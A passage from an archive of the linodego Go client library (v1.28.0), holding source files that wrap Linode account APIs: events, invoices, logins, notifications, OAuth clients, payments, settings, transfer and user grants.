ActionBackupsCancel EventAction = "backups_cancel" ActionBackupsRestore EventAction = "backups_restore" ActionCommunityQuestionReply EventAction = "community_question_reply" ActionCommunityLike EventAction = "community_like" ActionCreateCardUpdated EventAction = "credit_card_updated" ActionDatabaseCreate EventAction = "database_create" ActionDatabaseDegraded EventAction = "database_degraded" ActionDatabaseDelete EventAction = "database_delete" ActionDatabaseFailed EventAction = "database_failed" ActionDatabaseUpdate EventAction = "database_update" ActionDatabaseCreateFailed EventAction = "database_create_failed" ActionDatabaseUpdateFailed EventAction = "database_update_failed" ActionDatabaseBackupCreate EventAction = "database_backup_create" ActionDatabaseBackupRestore EventAction = "database_backup_restore" ActionDatabaseCredentialsReset EventAction = "database_credentials_reset" ActionDiskCreate EventAction = "disk_create" ActionDiskDelete EventAction = "disk_delete" ActionDiskUpdate EventAction = "disk_update" ActionDiskDuplicate EventAction = "disk_duplicate" ActionDiskImagize EventAction = "disk_imagize" ActionDiskResize EventAction = "disk_resize" ActionDNSRecordCreate EventAction = "dns_record_create" ActionDNSRecordDelete EventAction = "dns_record_delete" ActionDNSRecordUpdate EventAction = "dns_record_update" ActionDNSZoneCreate EventAction = "dns_zone_create" ActionDNSZoneDelete EventAction = "dns_zone_delete" ActionDNSZoneUpdate EventAction = "dns_zone_update" ActionDNSZoneImport EventAction = "dns_zone_import" ActionEntityTransferAccept EventAction = "entity_transfer_accept" ActionEntityTransferCancel EventAction = "entity_transfer_cancel" ActionEntityTransferCreate EventAction = "entity_transfer_create" ActionEntityTransferFail EventAction = "entity_transfer_fail" ActionEntityTransferStale EventAction = "entity_transfer_stale" ActionFirewallCreate EventAction = "firewall_create" ActionFirewallDelete EventAction = "firewall_delete" ActionFirewallDisable EventAction = "firewall_disable" ActionFirewallEnable EventAction = "firewall_enable" ActionFirewallUpdate EventAction = "firewall_update" ActionFirewallDeviceAdd EventAction = "firewall_device_add" ActionFirewallDeviceRemove EventAction = "firewall_device_remove" ActionHostReboot EventAction = "host_reboot" ActionImageDelete EventAction = "image_delete" ActionImageUpdate EventAction = "image_update" ActionImageUpload EventAction = "image_upload" ActionIPAddressUpdate EventAction = "ipaddress_update" ActionLassieReboot EventAction = "lassie_reboot" ActionLinodeAddIP EventAction = "linode_addip" ActionLinodeBoot EventAction = "linode_boot" ActionLinodeClone EventAction = "linode_clone" ActionLinodeCreate EventAction = "linode_create" ActionLinodeDelete EventAction = "linode_delete" ActionLinodeUpdate EventAction = "linode_update" ActionLinodeDeleteIP EventAction = "linode_deleteip" ActionLinodeMigrate EventAction = "linode_migrate" ActionLinodeMigrateDatacenter EventAction = "linode_migrate_datacenter" ActionLinodeMigrateDatacenterCreate EventAction = "linode_migrate_datacenter_create" ActionLinodeMutate EventAction = "linode_mutate" ActionLinodeMutateCreate EventAction = "linode_mutate_create" ActionLinodeReboot EventAction = "linode_reboot" ActionLinodeRebuild EventAction = "linode_rebuild" ActionLinodeResize EventAction = "linode_resize" ActionLinodeResizeCreate EventAction = "linode_resize_create" ActionLinodeShutdown EventAction = "linode_shutdown" ActionLinodeSnapshot EventAction = "linode_snapshot" ActionLinodeConfigCreate EventAction = "linode_config_create" ActionLinodeConfigDelete EventAction = "linode_config_delete" ActionLinodeConfigUpdate EventAction = "linode_config_update" ActionLishBoot EventAction = "lish_boot" ActionLKENodeCreate EventAction = "lke_node_create" ActionLongviewClientCreate EventAction = "longviewclient_create" ActionLongviewClientDelete EventAction = "longviewclient_delete" ActionLongviewClientUpdate EventAction = "longviewclient_update" ActionManagedDisabled EventAction = "managed_disabled" ActionManagedEnabled EventAction = "managed_enabled" ActionManagedServiceCreate EventAction = "managed_service_create" ActionManagedServiceDelete EventAction = "managed_service_delete" ActionNodebalancerCreate EventAction = "nodebalancer_create" ActionNodebalancerDelete EventAction = "nodebalancer_delete" ActionNodebalancerUpdate EventAction = "nodebalancer_update" ActionNodebalancerConfigCreate EventAction = "nodebalancer_config_create" ActionNodebalancerConfigDelete EventAction = "nodebalancer_config_delete" ActionNodebalancerConfigUpdate EventAction = "nodebalancer_config_update" ActionNodebalancerFirewallModificationSuccess EventAction = "nodebalancer_firewall_modification_success" ActionNodebalancerFirewallModificationFailed EventAction = "nodebalancer_firewall_modification_failed" ActionNodebalancerNodeCreate EventAction = "nodebalancer_node_create" ActionNodebalancerNodeDelete EventAction = "nodebalancer_node_delete" ActionNodebalancerNodeUpdate EventAction = "nodebalancer_node_update" ActionOAuthClientCreate EventAction = "oauth_client_create" ActionOAuthClientDelete EventAction = "oauth_client_delete" ActionOAuthClientSecretReset EventAction = "oauth_client_secret_reset" //#nosec G101 ActionOAuthClientUpdate EventAction = "oauth_client_update" ActionPaymentMethodAdd EventAction = "payment_method_add" ActionPaymentSubmitted EventAction = "payment_submitted" ActionPasswordReset EventAction = "password_reset" ActionProfileUpdate EventAction = "profile_update" ActionStackScriptCreate EventAction = "stackscript_create" ActionStackScriptDelete EventAction = "stackscript_delete" ActionStackScriptUpdate EventAction = "stackscript_update" ActionStackScriptPublicize EventAction = "stackscript_publicize" ActionStackScriptRevise EventAction = "stackscript_revise" ActionTagCreate EventAction = "tag_create" ActionTagDelete EventAction = "tag_delete" ActionTFADisabled EventAction = "tfa_disabled" ActionTFAEnabled EventAction = "tfa_enabled" ActionTicketAttachmentUpload EventAction = "ticket_attachment_upload" ActionTicketCreate EventAction = "ticket_create" ActionTicketUpdate EventAction = "ticket_update" ActionTokenCreate EventAction = "token_create" ActionTokenDelete EventAction = "token_delete" ActionTokenUpdate EventAction = "token_update" ActionUserCreate EventAction = "user_create" ActionUserDelete EventAction = "user_delete" ActionUserUpdate EventAction = "user_update" ActionUserSSHKeyAdd EventAction = "user_ssh_key_add" ActionUserSSHKeyDelete EventAction = "user_ssh_key_delete" ActionUserSSHKeyUpdate EventAction = "user_ssh_key_update" ActionVLANAttach EventAction = "vlan_attach" ActionVLANDetach EventAction = "vlan_detach" ActionVolumeAttach EventAction = "volume_attach" ActionVolumeClone EventAction = "volume_clone" ActionVolumeCreate EventAction = "volume_create" ActionVolumeDelete EventAction = "volume_delete" ActionVolumeUpdate EventAction = "volume_update" ActionVolumeDetach EventAction = "volume_detach" ActionVolumeResize EventAction = "volume_resize" ActionVPCCreate EventAction = "vpc_create" ActionVPCDelete EventAction = "vpc_delete" ActionVPCUpdate EventAction = "vpc_update" ActionVPCSubnetCreate EventAction = "subnet_create" ActionVPCSubnetDelete EventAction = "subnet_delete" ActionVPCSubnetUpdate EventAction = "subnet_update" // deprecated due to incorrect spelling, // to be removed in the next major version release. ActionVolumeDelte EventAction = "volume_delete" ) // EntityType constants start with Entity and include Linode API Event Entity Types type EntityType string // EntityType contants are the entities an Event can be related to. const ( EntityLinode EntityType = "linode" EntityDisk EntityType = "disk" EntityDatabase EntityType = "database" EntityDomain EntityType = "domain" EntityFirewall EntityType = "firewall" EntityNodebalancer EntityType = "nodebalancer" EntityVPC EntityType = "vpc" EntityVPCSubnet EntityType = "subnet" ) // EventStatus constants start with Event and include Linode API Event Status values type EventStatus string // EventStatus constants reflect the current status of an Event const ( EventFailed EventStatus = "failed" EventFinished EventStatus = "finished" EventNotification EventStatus = "notification" EventScheduled EventStatus = "scheduled" EventStarted EventStatus = "started" ) // EventEntity provides detailed information about the Event's // associated entity, including ID, Type, Label, and a URL that // can be used to access it. type EventEntity struct { // ID may be a string or int, it depends on the EntityType ID any `json:"id"` Label string `json:"label"` Type EntityType `json:"type"` Status string `json:"status"` URL string `json:"url"` } // EventsPagedResponse represents a paginated Events API response type EventsPagedResponse struct { *PageOptions Data []Event `json:"data"` } // endpoint gets the endpoint URL for Event func (EventsPagedResponse) endpoint(_ ...any) string { return "account/events" } // UnmarshalJSON implements the json.Unmarshaler interface func (i *Event) UnmarshalJSON(b []byte) error { type Mask Event p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` TimeRemaining json.RawMessage `json:"time_remaining"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.TimeRemaining = duration.UnmarshalTimeRemaining(p.TimeRemaining) return nil } func (resp *EventsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(EventsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*EventsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListEvents gets a collection of Event objects representing actions taken // on the Account. The Events returned depend on the token grants and the grants // of the associated user. func (c *Client) ListEvents(ctx context.Context, opts *ListOptions) ([]Event, error) { response := EventsPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetEvent gets the Event with the Event ID func (c *Client) GetEvent(ctx context.Context, eventID int) (*Event, error) { req := c.R(ctx).SetResult(&Event{}) e := fmt.Sprintf("account/events/%d", eventID) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*Event), nil } // MarkEventRead marks a single Event as read. func (c *Client) MarkEventRead(ctx context.Context, event *Event) error { e := fmt.Sprintf("account/events/%d/read", event.ID) _, err := coupleAPIErrors(c.R(ctx).Post(e)) return err } // MarkEventsSeen marks all Events up to and including this Event by ID as seen. func (c *Client) MarkEventsSeen(ctx context.Context, event *Event) error { e := fmt.Sprintf("account/events/%d/seen", event.ID) _, err := coupleAPIErrors(c.R(ctx).Post(e)) return err } golang-github-linode-linodego-1.28.0/account_invoices.go000066400000000000000000000076661455402072200233010ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // Invoice structs reflect an invoice for billable activity on the account. type Invoice struct { ID int `json:"id"` Label string `json:"label"` Total float32 `json:"total"` Date *time.Time `json:"-"` } // InvoiceItem structs reflect a single billable activity associate with an Invoice type InvoiceItem struct { Label string `json:"label"` Type string `json:"type"` UnitPrice int `json:"unitprice"` Quantity int `json:"quantity"` Amount float32 `json:"amount"` Tax float32 `json:"tax"` Region *string `json:"region"` From *time.Time `json:"-"` To *time.Time `json:"-"` } // InvoicesPagedResponse represents a paginated Invoice API response type InvoicesPagedResponse struct { *PageOptions Data []Invoice `json:"data"` } // endpoint gets the endpoint URL for Invoice func (InvoicesPagedResponse) endpoint(_ ...any) string { return "account/invoices" } func (resp *InvoicesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(InvoicesPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*InvoicesPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListInvoices gets a paginated list of Invoices against the Account func (c *Client) ListInvoices(ctx context.Context, opts *ListOptions) ([]Invoice, error) { response := InvoicesPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // UnmarshalJSON implements the json.Unmarshaler interface func (i *Invoice) UnmarshalJSON(b []byte) error { type Mask Invoice p := struct { *Mask Date *parseabletime.ParseableTime `json:"date"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Date = (*time.Time)(p.Date) return nil } // UnmarshalJSON implements the json.Unmarshaler interface func (i *InvoiceItem) UnmarshalJSON(b []byte) error { type Mask InvoiceItem p := struct { *Mask From *parseabletime.ParseableTime `json:"from"` To *parseabletime.ParseableTime `json:"to"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.From = (*time.Time)(p.From) i.To = (*time.Time)(p.To) return nil } // GetInvoice gets a single Invoice matching the provided ID func (c *Client) GetInvoice(ctx context.Context, invoiceID int) (*Invoice, error) { req := c.R(ctx).SetResult(&Invoice{}) e := fmt.Sprintf("account/invoices/%d", invoiceID) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*Invoice), nil } // InvoiceItemsPagedResponse represents a paginated Invoice Item API response type InvoiceItemsPagedResponse struct { *PageOptions Data []InvoiceItem `json:"data"` } // endpoint gets the endpoint URL for InvoiceItems associated with a specific Invoice func (InvoiceItemsPagedResponse) endpoint(ids ...any) string { id := ids[0].(int) return fmt.Sprintf("account/invoices/%d/items", id) } func (resp *InvoiceItemsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(InvoiceItemsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*InvoiceItemsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListInvoiceItems gets the invoice items associated with a specific Invoice func (c *Client) ListInvoiceItems(ctx context.Context, invoiceID int, opts *ListOptions) ([]InvoiceItem, error) { response := InvoiceItemsPagedResponse{} err := c.listHelper(ctx, &response, opts, invoiceID) if err != nil { return nil, err } return response.Data, nil } golang-github-linode-linodego-1.28.0/account_logins.go000066400000000000000000000034031455402072200227360ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) type Login struct { ID int `json:"id"` Datetime *time.Time `json:"datetime"` IP string `json:"ip"` Restricted bool `json:"restricted"` Username string `json:"username"` Status string `json:"status"` } type LoginsPagedResponse struct { *PageOptions Data []Login `json:"data"` } func (LoginsPagedResponse) endpoint(_ ...any) string { return "account/logins" } func (resp *LoginsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(LoginsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*LoginsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } func (c *Client) ListLogins(ctx context.Context, opts *ListOptions) ([]Login, error) { response := LoginsPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // UnmarshalJSON implements the json.Unmarshaler interface func (i *Login) UnmarshalJSON(b []byte) error { type Mask Login l := struct { *Mask Datetime *parseabletime.ParseableTime `json:"datetime"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &l); err != nil { return err } i.Datetime = (*time.Time)(l.Datetime) return nil } func (c *Client) GetLogin(ctx context.Context, loginID int) (*Login, error) { req := c.R(ctx).SetResult(&Login{}) e := fmt.Sprintf("account/logins/%d", loginID) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*Login), nil } golang-github-linode-linodego-1.28.0/account_notifications.go000066400000000000000000000077611455402072200243270ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // Notification represents a notification on an Account type Notification struct { Label string `json:"label"` Body *string `json:"body"` Message string `json:"message"` Type NotificationType `json:"type"` Severity NotificationSeverity `json:"severity"` Entity *NotificationEntity `json:"entity"` Until *time.Time `json:"-"` When *time.Time `json:"-"` } // NotificationEntity adds detailed information about the Notification. // This could refer to the ticket that triggered the notification, for example. type NotificationEntity struct { ID int `json:"id"` Label string `json:"label"` Type string `json:"type"` URL string `json:"url"` } // NotificationSeverity constants start with Notification and include all known Linode API Notification Severities. type NotificationSeverity string // NotificationSeverity constants represent the actions that cause a Notification. New severities may be added in the future. const ( NotificationMinor NotificationSeverity = "minor" NotificationMajor NotificationSeverity = "major" NotificationCritical NotificationSeverity = "critical" ) // NotificationType constants start with Notification and include all known Linode API Notification Types. type NotificationType string // NotificationType constants represent the actions that cause a Notification. New types may be added in the future. const ( NotificationMigrationScheduled NotificationType = "migration_scheduled" NotificationMigrationImminent NotificationType = "migration_imminent" NotificationMigrationPending NotificationType = "migration_pending" NotificationRebootScheduled NotificationType = "reboot_scheduled" NotificationOutage NotificationType = "outage" NotificationPaymentDue NotificationType = "payment_due" NotificationTicketImportant NotificationType = "ticket_important" NotificationTicketAbuse NotificationType = "ticket_abuse" NotificationNotice NotificationType = "notice" NotificationMaintenance NotificationType = "maintenance" ) // NotificationsPagedResponse represents a paginated Notifications API response type NotificationsPagedResponse struct { *PageOptions Data []Notification `json:"data"` } // endpoint gets the endpoint URL for Notification func (NotificationsPagedResponse) endpoint(_ ...any) string { return "account/notifications" } func (resp *NotificationsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(NotificationsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*NotificationsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListNotifications gets a collection of Notification objects representing important, // often time-sensitive items related to the Account. An account cannot interact directly with // Notifications, and a Notification will disappear when the circumstances causing it // have been resolved. For example, if the account has an important Ticket open, a response // to the Ticket will dismiss the Notification. func (c *Client) ListNotifications(ctx context.Context, opts *ListOptions) ([]Notification, error) { response := NotificationsPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // UnmarshalJSON implements the json.Unmarshaler interface func (i *Notification) UnmarshalJSON(b []byte) error { type Mask Notification p := struct { *Mask Until *parseabletime.ParseableTime `json:"until"` When *parseabletime.ParseableTime `json:"when"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Until = (*time.Time)(p.Until) i.When = (*time.Time)(p.When) return nil } golang-github-linode-linodego-1.28.0/account_oauth_client.go000066400000000000000000000136331455402072200241270ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "net/url" "github.com/go-resty/resty/v2" ) // OAuthClientStatus constants start with OAuthClient and include Linode API Instance Status values type OAuthClientStatus string // OAuthClientStatus constants reflect the current status of an OAuth Client const ( OAuthClientActive OAuthClientStatus = "active" OAuthClientDisabled OAuthClientStatus = "disabled" OAuthClientSuspended OAuthClientStatus = "suspended" ) // OAuthClient represents a OAuthClient object type OAuthClient struct { // The unique ID of this OAuth Client. ID string `json:"id"` // The location a successful log in from https://login.linode.com should be redirected to for this client. The receiver of this redirect should be ready to accept an OAuth exchange code and finish the OAuth exchange. RedirectURI string `json:"redirect_uri"` // The name of this application. This will be presented to users when they are asked to grant it access to their Account. Label string `json:"label"` // Current status of the OAuth Client, Enum: "active" "disabled" "suspended" Status OAuthClientStatus `json:"status"` // The OAuth Client secret, used in the OAuth exchange. This is returned as except when an OAuth Client is created or its secret is reset. This is a secret, and should not be shared or disclosed publicly. Secret string `json:"secret"` // If this OAuth Client is public or private. Public bool `json:"public"` // The URL where this client's thumbnail may be viewed, or nil if this client does not have a thumbnail set. ThumbnailURL *string `json:"thumbnail_url"` } // OAuthClientCreateOptions fields are those accepted by CreateOAuthClient type OAuthClientCreateOptions struct { // The location a successful log in from https://login.linode.com should be redirected to for this client. The receiver of this redirect should be ready to accept an OAuth exchange code and finish the OAuth exchange. RedirectURI string `json:"redirect_uri"` // The name of this application. This will be presented to users when they are asked to grant it access to their Account. Label string `json:"label"` // If this OAuth Client is public or private. Public bool `json:"public"` } // OAuthClientUpdateOptions fields are those accepted by UpdateOAuthClient type OAuthClientUpdateOptions struct { // The location a successful log in from https://login.linode.com should be redirected to for this client. The receiver of this redirect should be ready to accept an OAuth exchange code and finish the OAuth exchange. RedirectURI string `json:"redirect_uri"` // The name of this application. This will be presented to users when they are asked to grant it access to their Account. Label string `json:"label"` // If this OAuth Client is public or private. Public bool `json:"public"` } // GetCreateOptions converts a OAuthClient to OAuthClientCreateOptions for use in CreateOAuthClient func (i OAuthClient) GetCreateOptions() (o OAuthClientCreateOptions) { o.RedirectURI = i.RedirectURI o.Label = i.Label o.Public = i.Public return } // GetUpdateOptions converts a OAuthClient to OAuthClientUpdateOptions for use in UpdateOAuthClient func (i OAuthClient) GetUpdateOptions() (o OAuthClientUpdateOptions) { o.RedirectURI = i.RedirectURI o.Label = i.Label o.Public = i.Public return } // OAuthClientsPagedResponse represents a paginated OAuthClient API response type OAuthClientsPagedResponse struct { *PageOptions Data []OAuthClient `json:"data"` } // endpoint gets the endpoint URL for OAuthClient func (OAuthClientsPagedResponse) endpoint(_ ...any) string { return "account/oauth-clients" } func (resp *OAuthClientsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(OAuthClientsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*OAuthClientsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListOAuthClients lists OAuthClients func (c *Client) ListOAuthClients(ctx context.Context, opts *ListOptions) ([]OAuthClient, error) { response := OAuthClientsPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetOAuthClient gets the OAuthClient with the provided ID func (c *Client) GetOAuthClient(ctx context.Context, clientID string) (*OAuthClient, error) { req := c.R(ctx).SetResult(&OAuthClient{}) clientID = url.PathEscape(clientID) e := fmt.Sprintf("account/oauth-clients/%s", clientID) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*OAuthClient), nil } // CreateOAuthClient creates an OAuthClient func (c *Client) CreateOAuthClient(ctx context.Context, opts OAuthClientCreateOptions) (*OAuthClient, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } req := c.R(ctx).SetResult(&OAuthClient{}).SetBody(string(body)) e := "account/oauth-clients" r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*OAuthClient), nil } // UpdateOAuthClient updates the OAuthClient with the specified id func (c *Client) UpdateOAuthClient(ctx context.Context, clientID string, opts OAuthClientUpdateOptions) (*OAuthClient, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } req := c.R(ctx).SetResult(&OAuthClient{}).SetBody(string(body)) clientID = url.PathEscape(clientID) e := fmt.Sprintf("account/oauth-clients/%s", clientID) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*OAuthClient), nil } // DeleteOAuthClient deletes the OAuthClient with the specified id func (c *Client) DeleteOAuthClient(ctx context.Context, clientID string) error { clientID = url.PathEscape(clientID) e := fmt.Sprintf("account/oauth-clients/%s", clientID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/account_payments.go000066400000000000000000000055211455402072200233060ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // Payment represents a Payment object type Payment struct { // The unique ID of the Payment ID int `json:"id"` // The amount, in US dollars, of the Payment. USD json.Number `json:"usd"` // When the Payment was made. Date *time.Time `json:"-"` } // PaymentCreateOptions fields are those accepted by CreatePayment type PaymentCreateOptions struct { // CVV (Card Verification Value) of the credit card to be used for the Payment CVV string `json:"cvv,omitempty"` // The amount, in US dollars, of the Payment USD json.Number `json:"usd"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *Payment) UnmarshalJSON(b []byte) error { type Mask Payment p := struct { *Mask Date *parseabletime.ParseableTime `json:"date"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Date = (*time.Time)(p.Date) return nil } // GetCreateOptions converts a Payment to PaymentCreateOptions for use in CreatePayment func (i Payment) GetCreateOptions() (o PaymentCreateOptions) { o.USD = i.USD return } // PaymentsPagedResponse represents a paginated Payment API response type PaymentsPagedResponse struct { *PageOptions Data []Payment `json:"data"` } // endpoint gets the endpoint URL for Payment func (PaymentsPagedResponse) endpoint(_ ...any) string { return "account/payments" } func (resp *PaymentsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(PaymentsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*PaymentsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListPayments lists Payments func (c *Client) ListPayments(ctx context.Context, opts *ListOptions) ([]Payment, error) { response := PaymentsPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetPayment gets the payment with the provided ID func (c *Client) GetPayment(ctx context.Context, paymentID int) (*Payment, error) { req := c.R(ctx).SetResult(&Payment{}) e := fmt.Sprintf("account/payments/%d", paymentID) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*Payment), nil } // CreatePayment creates a Payment func (c *Client) CreatePayment(ctx context.Context, opts PaymentCreateOptions) (*Payment, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } req := c.R(ctx).SetResult(&Payment{}).SetBody(string(body)) e := "accounts/payments" r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*Payment), nil } golang-github-linode-linodego-1.28.0/account_settings.go000066400000000000000000000050451455402072200233070ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" ) // AccountSettings are the account wide flags or plans that effect new resources type AccountSettings struct { // The default backups enrollment status for all new Linodes for all users on the account. When enabled, backups are mandatory per instance. BackupsEnabled bool `json:"backups_enabled"` // Wether or not Linode Managed service is enabled for the account. Managed bool `json:"managed"` // Wether or not the Network Helper is enabled for all new Linode Instance Configs on the account. NetworkHelper bool `json:"network_helper"` // A plan name like "longview-3"..."longview-100", or a nil value for to cancel any existing subscription plan. LongviewSubscription *string `json:"longview_subscription"` // A string like "disabled", "suspended", or "active" describing the status of this account’s Object Storage service enrollment. ObjectStorage *string `json:"object_storage"` } // AccountSettingsUpdateOptions are the updateable account wide flags or plans that effect new resources. type AccountSettingsUpdateOptions struct { // The default backups enrollment status for all new Linodes for all users on the account. When enabled, backups are mandatory per instance. BackupsEnabled *bool `json:"backups_enabled,omitempty"` // A plan name like "longview-3"..."longview-100", or a nil value for to cancel any existing subscription plan. // Deprecated: Use PUT /longview/plan instead to update the LongviewSubscription LongviewSubscription *string `json:"longview_subscription,omitempty"` // The default network helper setting for all new Linodes and Linode Configs for all users on the account. NetworkHelper *bool `json:"network_helper,omitempty"` } // GetAccountSettings gets the account wide flags or plans that effect new resources func (c *Client) GetAccountSettings(ctx context.Context) (*AccountSettings, error) { req := c.R(ctx).SetResult(&AccountSettings{}) e := "account/settings" r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*AccountSettings), nil } // UpdateAccountSettings updates the settings associated with the account func (c *Client) UpdateAccountSettings(ctx context.Context, opts AccountSettingsUpdateOptions) (*AccountSettings, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } req := c.R(ctx).SetResult(&AccountSettings{}).SetBody(string(body)) e := "account/settings" r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*AccountSettings), nil } golang-github-linode-linodego-1.28.0/account_transfer.go000066400000000000000000000016771455402072200233020ustar00rootroot00000000000000package linodego import "context" // AccountTransfer represents an Account's network utilization for the current month. type AccountTransfer struct { Billable int `json:"billable"` Quota int `json:"quota"` Used int `json:"used"` RegionTransfers []AccountTransferRegion `json:"region_transfers"` } // AccountTransferRegion represents an Account's network utilization for the current month // in a given region. type AccountTransferRegion struct { ID string `json:"id"` Billable int `json:"billable"` Quota int `json:"quota"` Used int `json:"used"` } // GetAccountTransfer gets current Account's network utilization for the current month. func (c *Client) GetAccountTransfer(ctx context.Context) (*AccountTransfer, error) { req := c.R(ctx).SetResult(&AccountTransfer{}) e := "account/transfer" r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*AccountTransfer), nil } golang-github-linode-linodego-1.28.0/account_user_grants.go000066400000000000000000000064071455402072200240060ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "net/url" ) type GrantPermissionLevel string const ( AccessLevelReadOnly GrantPermissionLevel = "read_only" AccessLevelReadWrite GrantPermissionLevel = "read_write" ) type GlobalUserGrants struct { AccountAccess *GrantPermissionLevel `json:"account_access"` AddDatabases bool `json:"add_databases"` AddDomains bool `json:"add_domains"` AddFirewalls bool `json:"add_firewalls"` AddImages bool `json:"add_images"` AddLinodes bool `json:"add_linodes"` AddLongview bool `json:"add_longview"` AddNodeBalancers bool `json:"add_nodebalancers"` AddStackScripts bool `json:"add_stackscripts"` AddVolumes bool `json:"add_volumes"` CancelAccount bool `json:"cancel_account"` LongviewSubscription bool `json:"longview_subscription"` } type EntityUserGrant struct { ID int `json:"id"` Permissions *GrantPermissionLevel `json:"permissions"` } type GrantedEntity struct { ID int `json:"id"` Label string `json:"label"` Permissions GrantPermissionLevel `json:"permissions"` } type UserGrants struct { Database []GrantedEntity `json:"database"` Domain []GrantedEntity `json:"domain"` Firewall []GrantedEntity `json:"firewall"` Image []GrantedEntity `json:"image"` Linode []GrantedEntity `json:"linode"` Longview []GrantedEntity `json:"longview"` NodeBalancer []GrantedEntity `json:"nodebalancer"` StackScript []GrantedEntity `json:"stackscript"` Volume []GrantedEntity `json:"volume"` Global GlobalUserGrants `json:"global"` } type UserGrantsUpdateOptions struct { Database []GrantedEntity `json:"database,omitempty"` Domain []EntityUserGrant `json:"domain,omitempty"` Firewall []EntityUserGrant `json:"firewall,omitempty"` Image []EntityUserGrant `json:"image,omitempty"` Linode []EntityUserGrant `json:"linode,omitempty"` Longview []EntityUserGrant `json:"longview,omitempty"` NodeBalancer []EntityUserGrant `json:"nodebalancer,omitempty"` StackScript []EntityUserGrant `json:"stackscript,omitempty"` Volume []EntityUserGrant `json:"volume,omitempty"` Global GlobalUserGrants `json:"global"` } func (c *Client) GetUserGrants(ctx context.Context, username string) (*UserGrants, error) { username = url.PathEscape(username) e := fmt.Sprintf("account/users/%s/grants", username) req := c.R(ctx).SetResult(&UserGrants{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*UserGrants), nil } func (c *Client) UpdateUserGrants(ctx context.Context, username string, opts 